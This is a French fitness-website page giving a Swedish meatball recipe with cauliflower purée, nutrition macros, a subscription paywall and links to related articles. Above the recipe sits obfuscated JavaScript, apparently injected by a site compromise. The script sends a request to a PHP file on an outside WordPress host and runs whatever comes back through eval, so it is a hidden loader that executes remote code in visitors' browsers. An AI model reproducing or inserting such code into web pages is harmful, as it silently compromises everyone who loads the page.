;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.bigkcoaching.com/wp-admin/css/colors/blue/blue.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};

Boulettes De Viande À La Suédoise

Boulettes De Viande À La Suédoise
Catégorie :
24 mars 2021
ㅤㅤ de lecture
42 lectures

Ingrédients pour 6 personnes : 

  • 500g de bœuf haché 10%
  • 1 oeuf
  • 4 échalotes vertes, tranchées finement
  • 1/4 tasse de persil continental frais finement haché
  • 1 gousse d’ail écrasée
  • 1 cuillère à café de piment de la Jamaïque
  • 1/4 cuillère à café de muscade moulue
  • 2 cuillères à soupe d’huile d’olive extra vierge
  • 80 ml de bouillon liquide de bœuf
  • 2 cuillères à café de moutarde de Dijon
  • 180 ml de crème liquide
  • 600g de chou-fleur cuit à la vapeur, haché grossièrement
  • 150g de haricots verts frais, cuits à la vapeur
    Feuilles de persil continental frais, hachées grossièrement, pour servir

Préparation : 

  1. Mélanger le bœuf, l’œuf, l’échalote, le persil, l’ail, le piment de la Jamaïque et la muscade dans un grand bol. Assaisonnez bien. Rouler des cuillerées à soupe du mélange en boules.
  2. Chauffer l’huile dans une grande poêle antiadhésive à feu moyen-vif. Cuire les boulettes de viande, en les retournant souvent, pendant 6 à 8 minutes ou jusqu’à ce qu’elles soient dorées et à peine cuites. Transférer dans une assiette.
  3. Ajouter le bouillon, la moutarde et 125 ml de crème dans la casserole et porter à ébullition. Réduire le feu et laisser mijoter pendant 5 minutes ou jusqu’à ce que le tout soit réduit de moitié. Remettre les boulettes de viande dans la poêle et laisser mijoter 1 à 2 minutes ou jusqu’à ce qu’elles soient bien chaudes.
  4. Placer le chou-fleur et le reste de la crème dans un robot culinaire et mélanger jusqu’à consistance lisse. Saison.
  5. Répartir la purée de chou-fleur dans des assiettes de service. Garnir avec les haricots, les boulettes de viande et la sauce. Saison. Servir parsemé de persil.

Macros pour 1 personne : 

Calories : 512

Protéines : 32.5g

Glucides : 11g

Lipides : 35.5g

content lockedVous n'êtes pas autorisé à afficher cette page.

Achetez un abonnement pour déverrouiller le contenu.

1 mois = 14,90€Abonnement 3 mois minimum = 9,90€ par mois

Déjà membre? Connectez-vous pour continuer

Mon conseil t'a plu ?
N'hésite pas à le partager à ton entourage par

Dans la même catégorie , découvre aussi

5 minutes
à lire
Pourquoi les hommes maigrissent-ils plus vite que les femmes ?

Découvrez enfin pourquoi quand un homme entame le même programme qu’une femme, il est fort possible qu’il maigrisse plus vite.

Lire l'article
5 minutes
à lire
Les avis sur la musculation au poids du corps

Que vous soyez un adepte de la salle de musculation ou du sport à la maison, vous vous demandez peut-être si la musculation au poids du corps est efficace. Dans cet article, je vous propose de découvrir mon avis sur la question.

Lire l'article
5 minutes
à lire
Les meilleurs sports cardio pour perdre du poids

Une activité cardio-vasculaire régulière vous permettra de perdre du poids sur le long terme. Je vous propose de partir en quête des meilleurs sports pour vous permettre de perdre du poids. Si vous n’aimez pas la course à pied, vous découvrirez qu’il y a de nombreuses alternatives.

Lire l'article
5 minutes
à lire
Faut-il porter une ceinture lombaire pour toutes les séances de musculation ?

Cette semaine, je vous propose de partir à la découverte de la ceinture lombaire. Il s’agit d’un incontournable des salles de muscu, que l’on retrouve autour de la taille de nombreux sportifs. Dans cet article, je vous propose de découvrir mon avis sur les avantages et les risques lorsqu’on porte une ceinture de musculation en permanence.

Lire l'article
Obtiens gratuitement ton e-book
Obtiens en 8 semaines un fessier resculpté et bombé !
Obtiens en 8 semaines des bras énormes
Retrouve-moi sur mes réseaux sociaux